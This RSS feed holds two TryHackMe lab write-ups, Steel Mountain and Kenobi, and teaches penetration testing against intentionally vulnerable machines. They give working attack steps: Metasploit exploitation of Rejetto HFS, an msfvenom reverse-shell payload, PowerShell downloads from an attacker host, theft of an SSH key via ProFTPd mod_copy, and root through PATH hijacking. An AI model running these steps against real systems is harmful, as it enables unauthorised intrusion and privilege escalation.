<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Eulysis on Medium]]></title>
        <description><![CDATA[Stories by Eulysis on Medium]]></description>
        <link>https://medium.com/@crimsonriffic?source=rss-c22c29cb8b02------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*0MJf-RA2LNIISOUA</url>
            <title>Stories by Eulysis on Medium</title>
            <link>https://medium.com/@crimsonriffic?source=rss-c22c29cb8b02------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:33:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@crimsonriffic/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Steel Mountain TryHackMe Room Writeup]]></title>
            <link>https://medium.com/@crimsonriffic/steel-mountain-tryhackme-room-writeup-751734bedc72?source=rss-c22c29cb8b02------2</link>
            <guid isPermaLink="false">https://medium.com/p/751734bedc72</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Eulysis]]></dc:creator>
            <pubDate>Tue, 13 Aug 2024 07:10:53 GMT</pubDate>
            <atom:updated>2024-08-15T09:54:43.904Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*LrdQAuYycoc1Dtrf.jpeg" /></figure><p>Link: <a href="https://tryhackme.com/r/room/steelmountain">https://tryhackme.com/r/room/steelmountain</a></p><p>TLDR for this room can be found under <strong>Summary </strong>at the bottom of the page!</p><p>In this room you will enumerate a Windows machine, gain initial access with Metasploit, use Powershell to further enumerate the machine and escalate your privileges to Administrator.</p><blockquote><em>If I am missing anything or I have any mistakes please feel free to let me know! Learning is forever. Rock on!</em></blockquote><h4>Table of contents</h4><ul><li><a href="#2360">Task 1: Introduction</a></li><li><a href="#679d">Task 2: Initial Access</a></li><li><a href="#616c">Task 3: Privilege Escalation</a></li><li><a href="#894e">Task 4: Access and Escalation Without Metasploit</a></li><li><a href="#c5d6">Summary</a></li></ul><p><strong>Task 1: Introduction</strong></p><h4>Answer the questions below</h4><p>Be sure to both<strong> ‘Start Machine’ </strong>under Task 1 and <strong>‘Start Attackbox’</strong> for the room</p><blockquote>Deploy the machine.</blockquote><blockquote>Who is the employee of the month?</blockquote><p>In our attackbox, we go to our [TARGET_IP] in the firefox browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzWKhrQyNZucz646YqCN_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_J87XaGyzeGwz0j4eeNhQ.png" /></figure><p>The hint was to reverse-image search but we can just open the image in another tab and observe that the name of the file is BillHarper.jpg. The answer is thus <strong>Bill Harper</strong> (Character in Mr Robot!)</p><p><strong>Task 2: Initial Access</strong></p><h4>Answer the questions below</h4><blockquote>Scan the machine with nmap. What is the other port running a web server on?</blockquote><p>We run nmap -sT [TARGET_IP] (sT = Targeting TCP open ports specifically)</p><p>http is running on port 80 and http-proxy is running on port <strong>8080</strong> (which is the answer)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*RbuX1_GMP5ZFMJzPuVNsNQ.png" /></figure><blockquote>Take a look at the other web server. What file server is running?</blockquote><p>For this we will go to the website link on its 8080 port <a href="http://[TARGET_IP]:8080">http://[TARGET_IP]:8080</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*DCuaKvFYkzlv3VuszMl7qw.png" /></figure><p>We observe a link under Server Information HttpFileServer 2.3 at the bottom left and we click on it, which leads us to website <strong>rejetto.com</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*v6wipB5yUcq8sABhS3FU2A.png" /></figure><p>For this part I had to guess based on the number of * of the answer, and the answer is <strong>Rejetto HTTP File Server</strong></p><blockquote>What is the CVE number to exploit this file server?</blockquote><p>We will run searchsploit in our terminal with searchsploit Rejetto</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*gBpJOLVpoOUHQ1CjSXsAvA.png" /></figure><p>Looking at version 2.3.x, we can then use searchsploit -p 34668.txt, giving us a link to exploit-db and also give us the CVE number of <strong>2014–6287</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*J8kTvlHb0lnd1k4u-17oFg.png" /></figure><blockquote>Use Metasploit to get an initial shell. What is the user flag?</blockquote><p>We startup Metasploit with the command msfconsole</p><p>We can then use search Rejetto to search for modules</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0NX1uhjPxINASSEDosUpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w8mu7XDNlGGsIO_0Xece3Q.png" /></figure><p>We only have one module we can use.<strong> </strong>use 0<strong> </strong>to use the module and options<strong> </strong>to see what is required for us to set, in this case RHOSTS and RPORT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*aM-7c2Aif8xFcfUmveTBig.png" /></figure><p>We will then set RHOSTS and RPORT based on our TARGET IP and PORT which is 8080. We can then use run to run the exploit, getting a meterpreter session.</p><p>We can cd C:/<strong> </strong>to go to the main directory, which we can then use meterpreter’s search function to search for our flag. We know that it is a flag and can try <strong>s</strong>earch -f flag.txt or search -f user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*4o8X6zao8kj-xOd4Qt3xYw.png" /></figure><p>For some reason the flag is starting from b0, ignoring the first two characters:<strong> b04763b6fcf51fcd7c13abc7db4fd365</strong></p><p><strong>Task 3: Privilege Escalation</strong></p><p>To enumerate this machine, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities — “<em>PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.</em>”</p><p>You can download the script <a href="https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1">here</a>. If you want to download it via the command line, be careful not to download the GitHub page instead of the raw script. Now you can use the upload command in Metasploit to upload the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RGcMWvvotWtF2sCI.png" /></figure><p>To execute this using Meterpreter, I will type load powershell into meterpreter. Then I will enter powershell by entering powershell_shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k9-3G4m7lwsbs0yX.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*UXFgob4V0mAG6NAh4pDw8Q.png" /></figure><h4>Answer the questions below</h4><blockquote>Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an <em>unquoted service path</em> vulnerability?</blockquote><p>The ServiceName with CanRestart set as True is AdvancedSystemCareService9</p><p>The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!</p><blockquote>I was confused at what to do here, but basically you want to make use of the unquoted Path. There is a space between Advanced and Systemcare in the unquoted path <strong>C:\Program Files (x86)\IObit\Advanced SystemCare\ </strong>. If you put Advanced.exe in the same folder as Advanced SystemCare, the Service will first search for Advanced.exe before Advanced SystemCare and upon seeing Advanced.exe, run it. If Advanced.exe was not there, the service will then carry on to search for the subfolder Advanced Systemcare, so on and so forth.</blockquote><p>Use msfvenom to generate a reverse shell as an Windows executable.</p><p>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.7.217 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*mq64alQy_wozK14CiCyEeQ.png" /></figure><p>We will then upload our <strong>Advanced.exe</strong> into <strong>C:\Program Files (x86)\IObit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*ccvfaY_F4-QgvpIeZnUc9w.png" /></figure><p>In another tab we can run our handler to receive the connection</p><p>We will then restart the service to activate our reverse shell Advanced.exe.</p><p>Run shell to activate a shell</p><p>We will then use sc stop AdvancedSystemCareService9 to first stop the service.</p><p>This is the important part that I missed out, which is to run the <strong>Advanced.exe</strong> first with start Advanced.exe</p><p>We can then use sc start AdvancedSystemCareService9 to start the service</p><blockquote>Why do we need to run the payload before starting the service. Won’t the service call Advanced.exe anyways?</blockquote><blockquote><strong>Running the Payload First</strong>: This ensures immediate execution and avoids any potential delays or conditions that might affect the payload when starting the service (activating without waiting for the service startup process)</blockquote><blockquote><strong>Starting the Service</strong>: When the service starts, it will attempt to execute the Advanced.exe (due to the unquoted path), but running the payload first gives you greater control over the exploit process.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*kOzdjlhkGLZgRVAlrKSX8g.png" /></figure><p>We will then get a shell with elevated privileges on our handler!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*6LE4VzjKuQRqBTXIJn_26Q.png" /></figure><p>We can then navigate to find our root.txt, with the flag being <strong>9af5f314f57607c00fd09803a587db80</strong></p><p><strong>Task 4: Access and Escalation Without Metasploit</strong></p><p>We can navigate to both links given in the room to download from both github and exploitbin</p><p>We will edit our exploitbin file to include +”:8000&quot;+ as for some people their port 80 is in use</p><p>Be sure to also change ip_addr to your attackbox IP and local port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*VAqE2AP_dKQ8UmO2xo5KUQ.png" /><figcaption>Add +”:8000&quot;+ and change ip_add and local_port</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/84/1*75L5AlQty3VUaa5PbPgyhQ.png" /><figcaption>Notice that the script calls for nc.exe</figcaption></figure><p>We also have to change the name of the ncat.exe file to nc.exe as our exploitbin file calls for nc.exe. We can do this with mv ncat.exe nc.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*cYpKbkV7Md9XZVqIhNDdfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*8qCWQ8GBDG2cnUm-hA6IZw.png" /></figure><p>Set up both nc and http.server in separate terminals</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*RuFthMnLkjlytsWJ9NLEtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*P6zf7ApXKFxAQEssOEYJ0A.png" /></figure><p>If we run with python3, we will get an error, be sure to run with python2 and the format is python2 exploit.py [TARGET_IP] 8080 8080 as we are targeting the file server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*O9skRwi7WzgnlTo-v2lbbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*jQLfzF8ci6KYxzkZ3BMJUA.png" /></figure><blockquote>The two runs of the exploit are to:</blockquote><blockquote>1. Transfer nc.exe to the target system</blockquote><blockquote>2. Tell the target system to execute nc.exe with the parameters needed to establish a reverse shell with our listener</blockquote><p>After gaining initial access, we now need to get winPEASx86.exe to our target system</p><ul><li>We need the http.server to still be running on port 8000</li></ul><p>We can then use a powershell command to download it from our attackbox</p><p>powershell -c “Invoke-WebRequest -URI ‘<a href="http://10.10.95.47:8000/Tools/PEAS/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe&#39;">http://10.10.95.47:8000/Tools/PEAS/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe&#39;</a> -OutFile ‘winPEASx86.exe’”</p><blockquote>-c is to execute a command. Invoke-WebRequest is to download a file</blockquote><p>We can then run winPEAS with .\winPEASx86.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krcqX2E-o7Y0kyQJW688XA.png" /></figure><p>It is the same unquoted path vulnerability. We will create our payload with msfvenom again</p><p>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.95.47 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe</p><blockquote>The difference between this and the previous task is we would not be using metasploit / msfconsole. We will download our payload via the same Invoke-WebRequest command into IObit directory again</blockquote><p>powershell -c “Invoke-WebRequest -URI ‘<a href="http://10.10.95.47:8000/Advanced.exe&#39;">http://10.10.95.47:8000/Advanced.exe&#39;</a> -OutFile ‘C:\Program Files (x86)\IObit\Advanced.exe’”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*tW4Ws4u1BnEZ1rr4sTv-nQ.png" /></figure><p>We will then set up our nc at port 4443 as specified in our msfvenom, and repeat the steps as the previous task, with:</p><p>sc stop AdvancedSystemCareService9</p><p>start Advanced.exe</p><p>sc start AdvancedSystemCareService9</p><p>We get our shell with elevated privileges!</p><blockquote>What powershell -c command could we run to manually find out the service name?</blockquote><blockquote>*Format is “powershell -c “command here”*</blockquote><p>powershell -c “Get-Service” to get the services in powershell.</p><h3>Summary</h3><ul><li>We identified what file server the target is running and ran an exploit on it using metasploit, gaining a foothold into our target with lower privileges</li><li>We ran PowerUp.ps1 to identify any misconfigurations in our target that we can exploit, similar to LinPEAS for linux.</li><li>We gained a shell with elevated privileges by uploading a reverse shell script to our target machine</li><li>We then abuse a ‘unquoted path for service’ exploit to get the service to restart and run our reverse shell script</li><li>We obtain a reverse shell on our attackbox with elevated privileges!</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=751734bedc72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kenobi TryHackMe Room Writeup]]></title>
            <link>https://medium.com/@crimsonriffic/kenobi-tryhackme-room-writeup-cfc939b19c47?source=rss-c22c29cb8b02------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfc939b19c47</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Eulysis]]></dc:creator>
            <pubDate>Mon, 12 Aug 2024 09:15:12 GMT</pubDate>
            <atom:updated>2024-08-13T07:55:48.711Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*xh-PVdN1NPinG53O.png" /></figure><p>Link: <a href="https://tryhackme.com/r/room/kenobi">https://tryhackme.com/r/room/kenobi</a></p><p>TLDR for this room:</p><p>This room will cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID binary.</p><blockquote>I added some TLDRs for context for beginners, as I myself had to google about some of the concepts. If I am missing anything please feel free to let me know! Learning is forever. Rock on!</blockquote><h4><strong>Table of contents:</strong></h4><ul><li><a href="#024f">Task 1: Deploy the vulnerable machine</a></li><li><a href="#2e01">Task 2: Enumerating Samba for shares</a></li><li><a href="#c1d6">Task 3: Gain initial access with ProFtpd</a></li><li><a href="#0a19">Task 4: Privilege Escalation with Path Variable Manipulation</a></li><li><a href="#82f9">Interesting notes:</a></li></ul><p><strong>Task 1: Deploy the vulnerable machine</strong></p><h4><strong>Answer the questions below</strong></h4><p>Be sure to both<strong> ‘Start Machine’ </strong>under Task 1 and <strong>‘Start Attackbox’</strong> for the room</p><blockquote><strong>Scan the machine with nmap, how many ports are open?</strong></blockquote><p>For this, we will use a nmap command:<strong> </strong>nmap -sT [TARGET_IP]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*pZ6mh6CZCHgw85Yr5bupsw.png" /></figure><p>We count 8 open ports with TCP. However, the correct answer is 7. (I honestly don’t know why so if you know feel free to comment. Might be because it is unknown?)</p><p><strong>Task 2: Enumerating Samba for shares</strong></p><h4><strong>Answer the questions below</strong></h4><blockquote><strong>Using the nmap command above, how many shares have been found?</strong></blockquote><p>We are given a command to utilise a script to enumerate shares.</p><p>nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse [TARGET_IP]</p><p>SMB has two ports, 445 and 139.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*Hwdn4uKj-7hdjmiS.png" /></figure><blockquote><strong>What are SMB shares?</strong> According to Google, they are shared resources on an SMB server that are accessible to SMB clients on a network.</blockquote><p>Running the command in our attackbox, we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*2cFzF-HOUBgtWeG-NmA7FA.png" /></figure><p>3 Shares are found and can be identified as <strong>\\[TARGET_IP]\IPC$:</strong> <strong>\\[TARGET_IP]\anonymous:</strong> and <strong>\\[TARGET_IP]\print$:</strong></p><blockquote>Once you’re connected, list the files on the share. What is the file can you see?</blockquote><p>We can inspect one of the shares using the given cmd</p><p>smbclient //[TARGET_IP]/anonymous</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*o2aGXmt1JxMCKxrHLklG-w.png" /></figure><p>We observe that<em> </em><strong><em>log.txt </em></strong>is a file on the share</p><p>You can recursively download the SMB share too. Submit the username and password as nothing.</p><p>smbget -R smb://[TARGET_IP]/anonymous</p><p>Open the file on the share. There are a few interesting things found.</p><ul><li>Information generated for Kenobi when generating an SSH key for the user</li><li>Information about the ProFTPD server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*kDmsC207kZ66vhJC2Vachw.png" /></figure><p>We will cat log.txt to view the contents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*CmJpIpE65dGs5wumeOaO7Q.png" /><figcaption>Private key has been saved in /home/kenobi/.ssh/id_rsa</figcaption></figure><blockquote>What port is FTP running on?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*v0WnrS8f0KiEe7TRPY-xDg.png" /></figure><p>The Port is shown to be 21</p><p>Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.</p><blockquote><strong>TLDR: </strong>Rpcbind helps users find where services like NFS are located on the network. You enumerate port 111 to identify all rpcbind services, using <strong>— </strong>script=nfs-ls,nfs-statfs,nfs-showmount to look for NFS-related ones to gain access to.</blockquote><p>In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.</p><p>nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount [TARGET_IP]</p><blockquote>What mount can we see?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*B9taYHzaaXQw1LYUXY2TNA.png" /></figure><p>Under nfs-showmount: we find <strong>/var </strong>as a mount</p><p><strong>Task 3: Gain initial access with ProFtpd</strong></p><p>ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.</p><h4><strong>Answer the questions below</strong></h4><blockquote>Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.</blockquote><blockquote>What is the version?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*7F4_BLP_f3nTWyMMuGq4Cw.png" /></figure><p>We identify the verson of ProFtpd as <strong>1.3.5</strong></p><p>We can use searchsploit to find exploits for a particular software version.</p><p>Searchsploit is basically just a command line search tool for exploit-db.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nwSiQEdXH3vyhuioQF9-9Q.png" /></figure><blockquote>How many exploits are there for the ProFTPd running?</blockquote><p>We count the number of 1.3.5 exploits, in this case it is<strong> 4.</strong></p><p>You should have found an exploit from ProFtpd’s <a href="http://www.proftpd.org/docs/contrib/mod_copy.html">mod_copy module</a>.</p><p>The mod_copy module implements <strong>SITE CPFR</strong> and <strong>SITE CPTO</strong> commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.</p><p>We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user. (Saved in /home/kenobi/.ssh/id_rsa)</p><p>We’re now going to copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*4GTxrq-MgME9tE6_7UNt5A.png" /></figure><p>We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the <strong>/var/tmp</strong> directory.</p><blockquote>We have to do it in /var/tmp as it is one of the only directories that is writable by kenobi and /var is mountable</blockquote><p>Lets mount the <strong>/var/tmp</strong> directory to our machine</p><p>mkdir /mnt/kenobiNFS<br>mount 10.10.217.116:/var /mnt/kenobiNFS<br>ls -la /mnt/kenobiNFS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/0*oDvB-UdOyKP6oX8N.png" /></figure><p>We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/0*lmQkhBhDJxYPkZ6A.png" /></figure><blockquote>What is Kenobi’s user flag (/home/kenobi/user.txt)?</blockquote><p>We cat the user.txt to get <strong>d0b0f3f53b6caa532a83915e19224899</strong></p><blockquote><strong>TLDR</strong>: We are moving our target file (id_rsa) into a place that is both writable and accessible by our attackbox via mount. We know /var is mountable as seen from our previous enumeration of SMB share. id_rsa is a private key for user kenobi, which we then save to our attackbox and remote in via ssh using the private key to gain access.</blockquote><p><strong>Task 4: Privilege Escalation with Path Variable Manipulation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/0*2BDe2V0S21oYiVPr.png" /></figure><p>Lets first understand what what SUID, SGID and Sticky Bits are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*x0grTUKsZqH43v6b_zGxEw.png" /></figure><h4>Answer the questions below</h4><p>SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.</p><p>To search the a system for these type of files run the following: find / -perm -u=s -type f 2&gt;/dev/null</p><blockquote>What file looks particularly out of the ordinary?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*t9GtWWuOWJIEuausQUQWUw.png" /></figure><p>With my unexperienced-in-linux self, nothing really stood out and I had thought it was the passwd file. But it was not, and I had to resort to checking a common binary list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*a7Ju91MjzyjL0BZx.png" /><figcaption><a href="https://www.javatpoint.com/linux-fhs-binary-directories#:~:text=The%20&#39;%2Fbin&#39;%20directory%20contains,%2C%20cd%2C%20ls%2C%20etc">https://www.javatpoint.com/linux-fhs-binary-directories#:~:text=The%20&#39;%2Fbin&#39;%20directory%20contains,%2C%20cd%2C%20ls%2C%20etc</a>.</figcaption></figure><p>But the problem is that I could not find a /usr/bin common utility list (If you found one feel free to put it in the comments!). I resorted to doing a guess and check on the remaining /usr/bin files. The file that worked was <strong>/usr/bin/menu</strong></p><blockquote>Run the binary, how many options appear?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*-116OTZ3a7g3Rz-WHzOAKA.png" /></figure><p>There are 3 options</p><p>Strings<strong> </strong>is a command on Linux that looks for human readable strings on a binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*6apI078nSV9xu_5mW9YCzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/177/0*uavWByLsU1D8qAeC.png" /></figure><p>This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).</p><p>As this file runs as the root users privileges, we can manipulate our path gain a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/0*wC9bcVuSrDCba-pY.png" /></figure><p>We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!</p><blockquote><strong>TLDR</strong>:</blockquote><blockquote>We have gained access to a user in our target machine in our previous task and are looking to escalate privileges to gain root access.</blockquote><blockquote>We check for any binaries that have SUID permissions or are out of the ordinary.</blockquote><blockquote>We find <strong>/usr/bin/menu </strong>that uses generic commands like curl and uname.</blockquote><blockquote>We can abuse this by creating malicious binaries and changing the path to first look through our directory containing our malicious binary when the generic command is ran E.g. curl is called in /usr/bin/menu -&gt; will look for ./curl binary in /tmp directory first -&gt; sees our malicious binary /tmp/curl and will run it.</blockquote><blockquote>Our malicious binary is to run<strong> /bin/sh </strong>with root privileges, which we did by setting chmod 777 curl</blockquote><h3>Interesting notes:</h3><blockquote>For smbclient //10.10.142.102/anonymous<strong> </strong>and<strong> </strong>ssmbget -R smb://10.10.72.5/anonymous<strong> </strong>we can just hit ‘Enter’ after being requested for a password and it will go through. Why?</blockquote><p>The site is likely configured with permissions allowing “guest” or “anonymous” users to access it. This is common in cases where a shared folder is meant to be public or widely accessible without restrictions.</p><p>Both smbget and smbclient can connect to SMB shares. If the share allows anonymous access, you won’t be prompted for a password, or if prompted, the authentication step will allow a blank password to be used.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfc939b19c47" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>